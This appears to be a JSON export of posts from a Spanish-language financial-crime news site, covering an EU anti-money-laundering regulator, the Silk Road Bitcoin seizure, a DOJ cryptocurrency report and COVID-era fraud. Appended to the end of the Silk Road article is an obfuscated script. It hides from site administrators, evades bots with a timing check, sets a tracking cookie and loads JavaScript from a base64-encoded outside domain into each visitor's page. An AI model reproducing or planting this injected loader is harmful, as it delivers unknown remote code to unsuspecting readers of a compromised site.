medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres 